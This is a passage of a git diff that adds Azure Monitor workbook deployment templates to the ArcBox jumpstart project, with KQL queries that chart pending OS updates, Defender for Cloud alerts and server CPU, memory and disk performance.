sumif(toint(assessment.security), (isnotnull(properties) and properties.osType =~ \\\"Linux\\\" and (assessment.security>0))),\\r\\notherLinuxUpdates = sumif(toint(assessment.other), (isnotnull(properties) and properties.osType =~ \\\"Linux\\\" and (assessment.other>0))),\\r\\notherWindowsUpdates = sumif(toint(assessment.updateRollup) + toint(assessment.featurePack) + toint(assessment.servicePack) + toint(assessment.definition) +\\r\\ntoint(assessment.tools) + toint(assessment.updates), isnotnull(properties) and properties.osType =~ \\\"Windows\\\" and\\r\\n(assessment.updateRollup>0 or assessment.featurePack>0 or assessment.servicePack>0 or assessment.definition>0 or assessment.tools>0 or assessment.updates>0))\",\"size\":0,\"title\":\"Pending Windows and Linux updates by classification \",\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"crossComponentResources\":[\"{Subscription}\"],\"visualization\":\"unstackedbar\",\"tileSettings\":{\"showBorder\":false},\"chartSettings\":{\"seriesLabelSettings\":[{\"seriesName\":\"criticalWindowsUpdates\",\"label\":\"Critical updates - Windows\",\"color\":\"orange\"},{\"seriesName\":\"securityLinuxUpdates\",\"label\":\"Security updates - Linux\",\"color\":\"redBright\"},{\"seriesName\":\"otherLinuxUpdates\",\"label\":\"Other updates - Linux\",\"color\":\"turquoise\"},{\"seriesName\":\"otherWindowsUpdates\",\"label\":\"Other updates - Windows\",\"color\":\"gray\"},{\"seriesName\":\"securityWindowsUpdates\",\"label\":\"Security updates - Windows\",\"color\":\"redBright\"}]}},\"customWidth\":\"50\",\"name\":\"query - 4\",\"styleSettings\":{\"maxWidth\":\"50%\"}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"resources\\r\\n| where type in~ ({ResourceType})\\r\\n| where subscriptionId == '{Subscription:subscriptionid}' and resourceGroup == tolower('{ResourceGroup}')\\r\\n| extend joinId = tolower(id)\\r\\n| project joinId\\r\\n| join kind=leftouter\\r\\n(\\r\\npatchassessmentresources\\r\\n| where type in~ (\\\"microsoft.compute/virtualmachines/patchassessmentresults\\\", \\\"microsoft.hybridcompute/machines/patchassessmentresults\\\")\\r\\n| extend assessment = properties.availablePatchCountByClassification\\r\\n| where isnotnull(assessment)\\r\\n| parse id with resourceId \\\"/patchAssessmentResults\\\" *\\r\\n| extend joinId=tolower(resourceId)\\r\\n) on $left.joinId == $right.joinId\\r\\n| summarize\\r\\ntotal = 0,\\r\\nsecurityWindowsMachines = countif(isnotnull(properties) and properties.osType =~ \\\"Windows\\\" and (assessment.security>0)),\\r\\ncriticalWindowsMachines = countif(isnotnull(properties) and properties.osType =~ \\\"Windows\\\" and (assessment.critical>0)),\\r\\notherWindowsMachines = countif(isnotnull(properties) and properties.osType =~ \\\"Windows\\\" and (assessment.updateRollup>0 or assessment.featurePack>0 or assessment.servicePack>0 or assessment.definition>0 or assessment.tools>0 or assessment.updates>0)),\\r\\nsecurityLinuxMachines = countif(isnotnull(properties) and properties.osType =~ \\\"Linux\\\" and (assessment.security>0)),\\r\\notherLinuxMachines = countif(isnotnull(properties) and properties.osType =~ \\\"Linux\\\" and (assessment.other>0))\\r\\n\",\"size\":0,\"title\":\"Machines with Pending Updates by classification\",\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"crossComponentResources\":[\"{Subscription}\"],\"visualization\":\"unstackedbar\",\"chartSettings\":{\"seriesLabelSettings\":[{\"seriesName\":\"criticalWindowsMachines\",\"label\":\"Critical - Windows\",\"color\":\"orange\"},{\"seriesName\":\"otherWindowsMachines\",\"label\":\"Other - Windows\",\"color\":\"turquoise\"},{\"seriesName\":\"securityLinuxMachines\",\"label\":\"Security - Linux\",\"color\":\"redBright\"},{\"seriesName\":\"otherLinuxMachines\",\"label\":\"Other - Linux\",\"color\":\"turquoise\"},{\"seriesName\":\"securityWindowsMachines\",\"label\":\"Security - Windows\",\"color\":\"redBright\"}]}},\"customWidth\":\"50\",\"name\":\"query - 3\",\"styleSettings\":{\"maxWidth\":\"50%\"}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"resources\\r\\n| where type in~ ({ResourceType})\\r\\n| where subscriptionId == '{Subscription:subscriptionid}' and resourceGroup == tolower('{ResourceGroup}')\\r\\n| extend joinId = tolower(id)\\r\\n| project joinId\\r\\n| join kind=inner \\r\\n(\\r\\npatchassessmentresources\\r\\n| where type in~ (\\\"microsoft.compute/virtualmachines/patchassessmentresults/softwarepatches\\\", \\\"microsoft.hybridcompute/machines/patchassessmentresults/softwarepatches\\\")\\r\\n| extend id = tolower(id)\\r\\n| parse id with resourceId \\\"/patchassessmentresults\\\" *\\r\\n| extend joinId=tolower(resourceId)\\r\\n| where isnotnull(properties.kbId)\\r\\n| extend MissingUpdate = tostring(properties.patchName)\\r\\n| extend Classification = tostring(properties.classifications[0])\\r\\n| project joinId, MissingUpdate, Classification\\r\\n) \\r\\non $left.joinId == $right.joinId\\r\\n| summarize Machines = count() by MissingUpdate, Classification\\r\\n| order by Machines desc\\r\\n| take 10\\r\\n\",\"size\":0,\"title\":\"Top 10 Pending Windows Updates (by machine count)\",\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"crossComponentResources\":[\"{Subscription}\"],\"visualization\":\"table\",\"gridSettings\":{\"sortBy\":[{\"itemKey\":\"Classification\",\"sortOrder\":2}],\"labelSettings\":[{\"columnId\":\"MissingUpdate\",\"label\":\"Missing update\"}]},\"sortBy\":[{\"itemKey\":\"Classification\",\"sortOrder\":2}],\"tileSettings\":{\"showBorder\":false,\"titleContent\":{\"columnMatch\":\"properties_patchName\",\"formatter\":1},\"leftContent\":{\"columnMatch\":\"count_\",\"formatter\":12,\"formatOptions\":{\"palette\":\"auto\"},\"numberFormat\":{\"unit\":17,\"options\":{\"maximumSignificantDigits\":3,\"maximumFractionDigits\":2}}}},\"graphSettings\":{\"type\":0,\"topContent\":{\"columnMatch\":\"properties_patchName\",\"formatter\":1},\"centerContent\":{\"columnMatch\":\"count_\",\"formatter\":1,\"numberFormat\":{\"unit\":17,\"options\":{\"maximumSignificantDigits\":3,\"maximumFractionDigits\":2}}},\"nodeIdField\":\"properties_patchName\",\"sourceIdField\":\"properties_patchName\",\"targetIdField\":\"count_\",\"graphOrientation\":3,\"showOrientationToggles\":false,\"nodeSize\":null,\"staticNodeSize\":100,\"colorSettings\":null,\"hivesMargin\":5},\"mapSettings\":{\"locInfo\":\"LatLong\",\"sizeSettings\":\"count_\",\"sizeAggregation\":\"Sum\",\"legendMetric\":\"count_\",\"legendAggregation\":\"Sum\",\"itemColorSettings\":{\"type\":\"heatmap\",\"colorAggregation\":\"Sum\",\"nodeColorField\":\"count_\",\"heatmapPalette\":\"greenRed\"}}},\"customWidth\":\"50\",\"name\":\"query - 9\",\"styleSettings\":{\"maxWidth\":\"50%\"}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"resources\\r\\n| where type in~ ({ResourceType})\\r\\n| where subscriptionId == '{Subscription:subscriptionid}' and resourceGroup == tolower('{ResourceGroup}')\\r\\n| extend joinId = tolower(id)\\r\\n| project joinId\\r\\n| join kind=inner \\r\\n(\\r\\npatchassessmentresources\\r\\n| where type in~ (\\\"microsoft.compute/virtualmachines/patchassessmentresults/softwarepatches\\\", \\\"microsoft.hybridcompute/machines/patchassessmentresults/softwarepatches\\\")\\r\\n| extend id = tolower(id)\\r\\n| parse id with resourceId \\\"/patchassessmentresults\\\" *\\r\\n| extend joinId=tolower(resourceId)\\r\\n| where isnull(properties.kbId)\\r\\n| extend MissingUpdate = tostring(properties.patchName)\\r\\n| extend Classification = tostring(properties.classifications[0])\\r\\n| project joinId, MissingUpdate, Classification\\r\\n) \\r\\non $left.joinId == $right.joinId\\r\\n| summarize Machines = count() by MissingUpdate, Classification\\r\\n| order by Machines desc\\r\\n| take 10\",\"size\":0,\"title\":\"Top 10 Pending Linux Updates (by machine count)\",\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"crossComponentResources\":[\"{Subscription}\"],\"visualization\":\"table\",\"gridSettings\":{\"sortBy\":[{\"itemKey\":\"Machines\",\"sortOrder\":2}],\"labelSettings\":[{\"columnId\":\"MissingUpdate\",\"label\":\"Missing update\"}]},\"sortBy\":[{\"itemKey\":\"Machines\",\"sortOrder\":2}]},\"customWidth\":\"50\",\"name\":\"query - 10\",\"styleSettings\":{\"maxWidth\":\"50%\"}}]},\"name\":\"updatesGroup\",\"styleSettings\":{\"showBorder\":true}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"securityresources\\r\\n| where type == \\\"microsoft.security/locations/alerts\\\"\\r\\n| where subscriptionId == '{Subscription:subscriptionid}' and resourceGroup == tolower('{ResourceGroup}')\\r\\n| project-rename P= properties\\r\\n| extend Details = parse_json(P)\\r\\n| extend IsIncident = Details.[\\\"IsIncident\\\"]\\r\\n| extend AlertDisplayName = Details.[\\\"AlertDisplayName\\\"]\\r\\n| extend SystemAlertId = Details.[\\\"SystemAlertId\\\"]\\r\\n| extend Severity = tostring(Details.[\\\"Severity\\\"])\\r\\n| where Severity == \\\"High\\\"\\r\\n| extend AlertUri = Details.[\\\"AlertUri\\\"]\\r\\n| extend Status = tostring(Details.[\\\"Status\\\"])\\r\\n| extend Tactics = tostring(Details.[\\\"Intent\\\"])\\r\\n| extend ResourceIdentifiers = Details.[\\\"ResourceIdentifiers\\\"]\\r\\n| mv-expand ResourceIdentifiers\\r\\n| extend ResourceId = parse_json(ResourceIdentifiers).[\\\"AzureResourceId\\\"]\\r\\n| where Status == \\\"Active\\\"\\r\\n| extend SeverityRank = case(\\r\\n Severity == 'High', 3,\\r\\n Severity == 'Medium', 2,\\r\\n Severity == 'Low', 1,\\r\\n 0\\r\\n )\\r\\n| parse AlertUri with * '/subscriptionId/' SubscriptionId '/' *\\r\\n| parse AlertUri with * '/resourceGroup/' ResourceGroup '/' *\\r\\n| parse AlertUri with * '/location/' Location \\r\\n| project\\r\\n Severity,\\r\\n SystemAlertId,\\r\\n AlertDisplayName,\\r\\n IsIncident = iif(IsIncident == \\\"true\\\", \\\"Incident\\\", \\\"Alert\\\"),\\r\\n AlertUri,\\r\\n Tactics,\\r\\n SeverityRank,\\r\\n SubscriptionId,\\r\\n ResourceGroup,\\r\\n Location,\\r\\n ResourceId\\r\\n| sort by SeverityRank\",\"size\":0,\"title\":\"Defender for Cloud {$rowCount} Active Alerts \",\"noDataMessage\":\"No active alerts\",\"noDataMessageStyle\":3,\"exportedParameters\":[{\"fieldName\":\"ResourceId\",\"parameterName\":\"Resource\",\"parameterType\":1},{\"fieldName\":\"AlertUri\",\"parameterName\":\"AlertUri\",\"parameterType\":1},{\"fieldName\":\"SystemAlertId\",\"parameterName\":\"SystemAlertId\",\"parameterType\":1},{\"fieldName\":\"SubscriptionId\",\"parameterName\":\"SubscriptionId\",\"parameterType\":1},{\"fieldName\":\"ResourceGroup\",\"parameterName\":\"ResourceGroup\",\"parameterType\":1},{\"fieldName\":\"Location\",\"parameterName\":\"Location\",\"parameterType\":1}],\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"crossComponentResources\":[\"{Subscription}\"],\"gridSettings\":{\"formatters\":[{\"columnMatch\":\"Severity\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"colors\",\"thresholdsGrid\":[{\"operator\":\"contains\",\"thresholdValue\":\"High\",\"representation\":\"redBright\",\"text\":\"{0}{1}\"},{\"operator\":\"contains\",\"thresholdValue\":\"Medium\",\"representation\":\"orange\",\"text\":\"{0}{1}\"},{\"operator\":\"contains\",\"thresholdValue\":\"Low\",\"representation\":\"yellow\",\"text\":\"{0}{1}\"},{\"operator\":\"contains\",\"thresholdValue\":\"Informational \",\"representation\":\"gray\",\"text\":\"{0}{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":null,\"text\":\"{0}{1}\"}]}},{\"columnMatch\":\"SystemAlertId\",\"formatter\":5},{\"columnMatch\":\"AlertDisplayName\",\"formatter\":1,\"formatOptions\":{\"linkTarget\":\"OpenBlade\",\"bladeOpenContext\":{\"bladeName\":\"AlertBlade\",\"extensionName\":\"Microsoft_Azure_Security\",\"bladeParameters\":[{\"name\":\"alertId\",\"source\":\"column\",\"value\":\"SystemAlertId\"},{\"name\":\"subscriptionId\",\"source\":\"column\",\"value\":\"SubscriptionId\"},{\"name\":\"resourceGroup\",\"source\":\"column\",\"value\":\"ResourceGroup\"},{\"name\":\"referencedFrom\",\"source\":\"static\",\"value\":\"activeAlertsWorkbook\"},{\"name\":\"location\",\"source\":\"column\",\"value\":\"Location\"}]}}},{\"columnMatch\":\"IsIncident\",\"formatter\":1},{\"columnMatch\":\"AlertUri\",\"formatter\":5},{\"columnMatch\":\"Tactics\",\"formatter\":1},{\"columnMatch\":\"SubscriptionId\",\"formatter\":15,\"formatOptions\":{\"linkTarget\":\"Resource\",\"showIcon\":true}},{\"columnMatch\":\"Location\",\"formatter\":17},{\"columnMatch\":\"ResourceId\",\"formatter\":13,\"formatOptions\":{\"linkTarget\":\"Resource\",\"showIcon\":true}},{\"columnMatch\":\"TenantId\",\"formatter\":5},{\"columnMatch\":\"AlertName\",\"formatter\":5},{\"columnMatch\":\"Description\",\"formatter\":5},{\"columnMatch\":\"ProviderName\",\"formatter\":5},{\"columnMatch\":\"VendorName\",\"formatter\":5},{\"columnMatch\":\"VendorOriginalId\",\"formatter\":5},{\"columnMatch\":\"SourceComputerId\",\"formatter\":5},{\"columnMatch\":\"AlertType\",\"formatter\":5},{\"columnMatch\":\"ConfidenceLevel\",\"formatter\":5},{\"columnMatch\":\"ConfidenceScore\",\"formatter\":5},{\"columnMatch\":\"StartTime\",\"formatter\":5},{\"columnMatch\":\"EndTime\",\"formatter\":5},{\"columnMatch\":\"ProcessingEndTime\",\"formatter\":5},{\"columnMatch\":\"RemediationSteps\",\"formatter\":5},{\"columnMatch\":\"ExtendedProperties\",\"formatter\":5},{\"columnMatch\":\"Entities\",\"formatter\":5},{\"columnMatch\":\"SourceSystem\",\"formatter\":5},{\"columnMatch\":\"WorkspaceSubscriptionId\",\"formatter\":5},{\"columnMatch\":\"WorkspaceResourceGroup\",\"formatter\":5},{\"columnMatch\":\"ExtendedLinks\",\"formatter\":5},{\"columnMatch\":\"ProductName\",\"formatter\":5},{\"columnMatch\":\"ProductComponentName\",\"formatter\":5},{\"columnMatch\":\"AlertLink\",\"formatter\":7,\"formatOptions\":{\"linkTarget\":\"Url\"}},{\"columnMatch\":\"SystemIncidentId\",\"formatter\":5},{\"columnMatch\":\"SystemAlertId1\",\"formatter\":5}],\"labelSettings\":[{\"columnId\":\"SystemAlertId\",\"label\":\"Alert ID\"},{\"columnId\":\"AlertDisplayName\",\"label\":\"Alert name\"},{\"columnId\":\"IsIncident\",\"label\":\"Incident/alert\"},{\"columnId\":\"SeverityRank\",\"label\":\"Severity\"},{\"columnId\":\"SubscriptionId\",\"label\":\"Subscription\"},{\"columnId\":\"ResourceGroup\",\"label\":\"Resource group\"},{\"columnId\":\"ResourceId\",\"label\":\"Resource\"}]},\"sortBy\":[]},\"showPin\":true,\"name\":\"SecurityIncidents - FilterbyResourceId\",\"styleSettings\":{\"showBorder\":true}}],\"isLocked\":false,\"fallbackResourceIds\":[\"azure monitor\"]}", + "version": "1.0", + "sourceId": "[parameters('workbookSourceId')]", + "category": "[parameters('workbookType')]" + } + } + ], + "outputs": { + "workbookId": { + "type": "string", + "value": "[resourceId( 'microsoft.insights/workbooks', parameters('workbookId'))]" + } + }, + "$schema": "http://schema.management.azure.com/schemas/2015-01-01/deploymentTemplate.json#" +} \ No newline at end of file diff --git a/azure_jumpstart_arcbox/artifacts/monitoring/arc-osperformance-workbook.json b/azure_jumpstart_arcbox/artifacts/monitoring/arc-osperformance-workbook.json new file mode 100644 index 0000000000..73c5055430 --- /dev/null +++ b/azure_jumpstart_arcbox/artifacts/monitoring/arc-osperformance-workbook.json @@ -0,0 +1,57 @@ +{ + "contentVersion": "1.0.0.0", + "parameters": { + "workbookDisplayName": { + "type": "string", + "defaultValue": "Azure Arc-enabled servers OS Performance", + "metadata": { + "description": "The friendly name for the workbook that is used in the Gallery or Saved List. This name must be unique within a resource group." + } + }, + "workbookType": { + "type": "string", + "defaultValue": "workbook", + "metadata": { + "description": "The gallery that the workbook will been shown under. Supported values include workbook, tsg, etc. Usually, this is 'workbook'" + } + }, + "workbookSourceId": { + "type": "string", + "defaultValue": "azure monitor", + "metadata": { + "description": "The id of resource instance to which the workbook will be associated" + } + }, + "workbookId": { + "type": "string", + "defaultValue": "[newGuid()]", + "metadata": { + "description": "The unique guid for this workbook instance" + } + } + }, + "resources": [ + { + "name": "[parameters('workbookId')]", + "type": "microsoft.insights/workbooks", + "location": "[resourceGroup().location]", + "apiVersion": "2022-04-01", + "dependsOn": [], + "kind": "shared", + "properties": { + "displayName": "[parameters('workbookDisplayName')]", + "serializedData": "{\"version\":\"Notebook/1.0\",\"items\":[{\"type\":1,\"content\":{\"json\":\"# Operating System - Performance and capacity\"},\"name\":\"text - 0\"},{\"type\":9,\"content\":{\"version\":\"KqlParameterItem/1.0\",\"crossComponentResources\":[\"{Workspace}\"],\"parameters\":[{\"id\":\"b82b64ff-f991-4f44-ac88-aee7c086cc48\",\"version\":\"KqlParameterItem/1.0\",\"name\":\"TimeRange\",\"type\":4,\"isRequired\":true,\"value\":{\"durationMs\":86400000},\"typeSettings\":{\"selectableValues\":[{\"durationMs\":3600000},{\"durationMs\":43200000},{\"durationMs\":86400000},{\"durationMs\":259200000},{\"durationMs\":604800000},{\"durationMs\":1209600000},{\"durationMs\":2592000000}],\"allowCustom\":true}},{\"id\":\"23e3bd37-240d-492a-99c1-5b4f3d79d75e\",\"version\":\"KqlParameterItem/1.0\",\"name\":\"Subscription\",\"type\":6,\"isRequired\":true,\"multiSelect\":true,\"quote\":\"'\",\"delimiter\":\",\",\"value\":[\"/subscriptions/98a19988-5c3d-4824-a685-f5cf12ae5c19\"],\"query\":\"where type =~ 'microsoft.compute/virtualmachines' or type =~ 'microsoft.hybridcompute/machines' \\r\\n| summarize Count = count() by subscriptionId\\r\\n\\t| order by Count desc\\r\\n\\t| extend Rank = row_number()\\r\\n\\t| project value = subscriptionId, label = subscriptionId, selected = Rank == 1\",\"crossComponentResources\":[\"value::all\"],\"typeSettings\":{\"limitSelectTo\":100,\"additionalResourceOptions\":[\"value::all\"],\"showDefault\":false},\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\"},{\"id\":\"e1ecac91-1691-4f48-b4c0-803e39e00f43\",\"version\":\"KqlParameterItem/1.0\",\"name\":\"Workspace\",\"type\":5,\"isRequired\":true,\"multiSelect\":true,\"quote\":\"'\",\"delimiter\":\",\",\"query\":\"where type =~ 'microsoft.operationalinsights/workspaces'\\r\\n| summarize by id, name\\r\\n\",\"crossComponentResources\":[\"{Subscription}\"],\"typeSettings\":{\"additionalResourceOptions\":[],\"showDefault\":false},\"timeContext\":{\"durationMs\":0},\"timeContextFromParameter\":\"TimeRange\",\"queryType\":1,\"resourceType\":\"microsoft.resourcegraph/resources\",\"value\":[\"/subscriptions/98a19988-5c3d-4824-a685-f5cf12ae5c19/resourceGroups/jan-arcbox-itpro2-rg/providers/Microsoft.OperationalInsights/workspaces/arcboxdemo\",\"/subscriptions/98a19988-5c3d-4824-a685-f5cf12ae5c19/resourceGroups/jan-arcbox-itpro2-rg/providers/Microsoft.OperationalInsights/workspaces/arcboxdemo\",\"/subscriptions/98a19988-5c3d-4824-a685-f5cf12ae5c19/resourceGroups/jan-arcbox-itpro2-rg/providers/Microsoft.OperationalInsights/workspaces/arcboxdemo\"]},{\"id\":\"98c624e3-84f5-43e2-8be3-56b84c75bbb2\",\"version\":\"KqlParameterItem/1.0\",\"name\":\"ResourceGroup\",\"type\":2,\"isRequired\":true,\"multiSelect\":true,\"quote\":\"'\",\"delimiter\":\",\",\"query\":\"Heartbeat\\r\\n| distinct RGName = tolower(ResourceGroup)\",\"crossComponentResources\":[\"{Workspace}\"],\"typeSettings\":{\"limitSelectTo\":500,\"additionalResourceOptions\":[\"value::all\"],\"showDefault\":false},\"timeContext\":{\"durationMs\":0},\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"value\":[\"value::all\"]}],\"style\":\"pills\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\"},\"name\":\"parameters - 1\"},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let trend = (Heartbeat\\r\\n | extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n | where RGName in ({ResourceGroup})\\r\\n | make-series InternalTrend=iff(count() > 0, 1, 0) default = 0 on TimeGenerated from ago(3d) to now() step 15m by _ResourceId\\r\\n | extend Trend=array_slice(InternalTrend, array_length(InternalTrend) - 30, array_length(InternalTrend) - 1)); \\r\\nlet PerfCPU = (InsightsMetrics\\r\\n | where Origin == \\\"vm.azm.ms\\\"\\r\\n | extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n | where RGName in ({ResourceGroup})\\r\\n | where Namespace == \\\"Processor\\\" and Name == \\\"UtilizationPercentage\\\"\\r\\n | summarize AvgCPU=round(avg(Val), 2), MaxCPU=round(max(Val), 2) by _ResourceId\\r\\n | extend StatusCPU = case (\\r\\n AvgCPU > 80,\\r\\n 2,\\r\\n AvgCPU > 50,\\r\\n 1,\\r\\n AvgCPU <= 50,\\r\\n 0,\\r\\n -1\\r\\n )\\r\\n );\\r\\nlet PerfMemory = (InsightsMetrics\\r\\n | where Origin == \\\"vm.azm.ms\\\"\\r\\n | extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n | where RGName in ({ResourceGroup})\\r\\n | where Namespace == \\\"Memory\\\" and Name == \\\"AvailableMB\\\"\\r\\n | summarize AvgMEM=round(avg(Val), 2), MaxMEM=round(max(Val), 2) by _ResourceId\\r\\n | extend StatusMEM = case (\\r\\n AvgMEM > 4,\\r\\n 0,\\r\\n AvgMEM >= 1,\\r\\n 1,\\r\\n AvgMEM < 1,\\r\\n 2,\\r\\n -1\\r\\n )\\r\\n );\\r\\nlet PerfDisk = (InsightsMetrics\\r\\n | where Origin == \\\"vm.azm.ms\\\"\\r\\n | extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n | where RGName in ({ResourceGroup})\\r\\n | where Namespace == \\\"LogicalDisk\\\" and Name == \\\"FreeSpaceMB\\\"\\r\\n | extend Disk=tostring(todynamic(Tags)[\\\"vm.azm.ms/mountId\\\"])\\r\\n | where (Disk =~ \\\"C:\\\" or Disk == \\\"/\\\")\\r\\n | summarize\\r\\n AvgDisk=round(avg(Val), 2),\\r\\n (TimeGenerated, LastDisk)=arg_max(TimeGenerated, round(Val, 2))\\r\\n by _ResourceId\\r\\n | extend StatusDisk = case (\\r\\n AvgDisk < 5000,\\r\\n 2,\\r\\n AvgDisk < 30000,\\r\\n 1,\\r\\n AvgDisk >= 30000,\\r\\n 0,\\r\\n -1\\r\\n )\\r\\n | project _ResourceId, AvgDisk, LastDisk, StatusDisk\\r\\n );\\r\\nPerfCPU\\r\\n| join (PerfMemory) on _ResourceId\\r\\n| join (PerfDisk) on _ResourceId\\r\\n| join (trend) on _ResourceId\\r\\n| project\\r\\n _ResourceId,\\r\\n StatusCPU,\\r\\n AvgCPU,\\r\\n MaxCPU,\\r\\n StatusMEM,\\r\\n AvgMEM,\\r\\n MaxMEM,\\r\\n StatusDisk,\\r\\n AvgDisk,\\r\\n LastDisk,\\r\\n [\\\"Heartbeat Trend\\\"] = Trend\\r\\n| sort by StatusCPU,StatusDisk desc\",\"size\":0,\"showAnalytics\":true,\"title\":\"Top servers (data aggregated based on TimeRange)\",\"timeContextFromParameter\":\"TimeRange\",\"exportFieldName\":\"_ResourceId\",\"exportParameterName\":\"_ResourceId\",\"exportDefaultValue\":\"All\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"gridSettings\":{\"formatters\":[{\"columnMatch\":\"StatusCPU\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"==\",\"thresholdValue\":\"0\",\"representation\":\"success\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"1\",\"representation\":\"2\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"2\",\"representation\":\"4\",\"text\":\"{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"Unknown\",\"text\":\"{1}\"}]}},{\"columnMatch\":\"AvgCPU\",\"formatter\":0,\"numberFormat\":{\"unit\":1,\"options\":{\"style\":\"decimal\"}}},{\"columnMatch\":\"MaxCPU\",\"formatter\":0,\"numberFormat\":{\"unit\":1,\"options\":{\"style\":\"decimal\"}}},{\"columnMatch\":\"StatusMEM\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"==\",\"thresholdValue\":\"0\",\"representation\":\"success\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"1\",\"representation\":\"2\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"2\",\"representation\":\"critical\",\"text\":\"{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"unknown\",\"text\":\"{1}\"}]}},{\"columnMatch\":\"AvgMEM\",\"formatter\":0,\"numberFormat\":{\"unit\":38,\"options\":{\"style\":\"decimal\",\"maximumFractionDigits\":2}}},{\"columnMatch\":\"MaxMEM\",\"formatter\":0,\"numberFormat\":{\"unit\":38,\"options\":{\"style\":\"decimal\",\"maximumFractionDigits\":2}}},{\"columnMatch\":\"StatusDisk\",\"formatter\":18,\"formatOptions\":{\"thresholdsOptions\":\"icons\",\"thresholdsGrid\":[{\"operator\":\"==\",\"thresholdValue\":\"0\",\"representation\":\"success\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"1\",\"representation\":\"2\",\"text\":\"{1}\"},{\"operator\":\"==\",\"thresholdValue\":\"2\",\"representation\":\"4\",\"text\":\"{1}\"},{\"operator\":\"Default\",\"thresholdValue\":null,\"representation\":\"success\",\"text\":\"{1}\"}]}},{\"columnMatch\":\"AvgDisk\",\"formatter\":0,\"numberFormat\":{\"unit\":38,\"options\":{\"style\":\"decimal\",\"maximumFractionDigits\":2}}},{\"columnMatch\":\"LastDisk\",\"formatter\":0,\"numberFormat\":{\"unit\":4,\"options\":{\"style\":\"decimal\",\"maximumFractionDigits\":2}}},{\"columnMatch\":\"Trend\",\"formatter\":10,\"formatOptions\":{\"palette\":\"blue\"}},{\"columnMatch\":\"Max\",\"formatter\":0,\"numberFormat\":{\"unit\":0,\"options\":{\"style\":\"decimal\"}}},{\"columnMatch\":\"Average\",\"formatter\":8,\"formatOptions\":{\"palette\":\"yellowOrangeRed\"},\"numberFormat\":{\"unit\":0,\"options\":{\"style\":\"decimal\",\"useGrouping\":false}}},{\"columnMatch\":\"Min\",\"formatter\":8,\"formatOptions\":{\"palette\":\"yellowOrangeRed\",\"aggregation\":\"Min\"},\"numberFormat\":{\"unit\":0,\"options\":{\"style\":\"decimal\"}}}],\"filter\":true,\"labelSettings\":[{\"columnId\":\"_ResourceId\",\"label\":\"Computer\"}]},\"sortBy\":[]},\"showPin\":true,\"name\":\"query - 2\",\"styleSettings\":{\"showBorder\":true}},{\"type\":1,\"content\":{\"json\":\"# Top Performance\"},\"name\":\"text - 8\"},{\"type\":1,\"content\":{\"json\":\"## Processor(_Total)\\\\% Processor Time\"},\"name\":\"text - 10\"},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let TopComputers = InsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where Namespace == \\\"Processor\\\" and Name == \\\"UtilizationPercentage\\\"\\r\\n| summarize AvgCPU = avg(Val) by Computer \\r\\n| top 10 by AvgCPU desc\\r\\n| project Computer; \\r\\nInsightsMetrics \\r\\n| where Origin == \\\"vm.azm.ms\\\"\\r\\n| where Computer in (TopComputers) \\r\\n| where Namespace == \\\"Processor\\\" and Name == \\\"UtilizationPercentage\\\"\\r\\n| summarize Used_CPU = round(avg(Val),1) by Computer, bin(TimeGenerated, ({TimeRange:end} - {TimeRange:start})/100)\\r\\n| render timechart\",\"size\":0,\"aggregation\":3,\"showAnalytics\":true,\"title\":\"% Processor Time - Top 10 Computers\",\"timeContextFromParameter\":\"TimeRange\",\"queryType\":0,\"resourceType\":\"microsoft.operationalinsights/workspaces\",\"crossComponentResources\":[\"{Workspace}\"],\"chartSettings\":{\"showLegend\":true}},\"customWidth\":\"50\",\"name\":\"query - 4\",\"styleSettings\":{\"showBorder\":true}},{\"type\":3,\"content\":{\"version\":\"KqlItem/1.0\",\"query\":\"let trend = \\r\\nInsightsMetrics\\r\\n| where Origin == \\\"vm.azm.ms\\\" \\r\\n| extend RGName = tolower(split(_ResourceId, \\\"/\\\")[4])\\r\\n| where _ResourceId contains \\\"{_ResourceId}\\\" or \\\"{_ResourceId}\\\"==\\\"All\\\"\\r\\n| where RGName in ({ResourceGroup})\\r\\n| where Namespace == \\\"Processor\\\" and Name == \\\"UtilizationPercentage\\\"\\r\\n| make-series Average = round(avg(Val), 3) default = 0 on TimeGenerated from {TimeRange:start} to {TimeRange:end} step totimespan('00:30:00') by 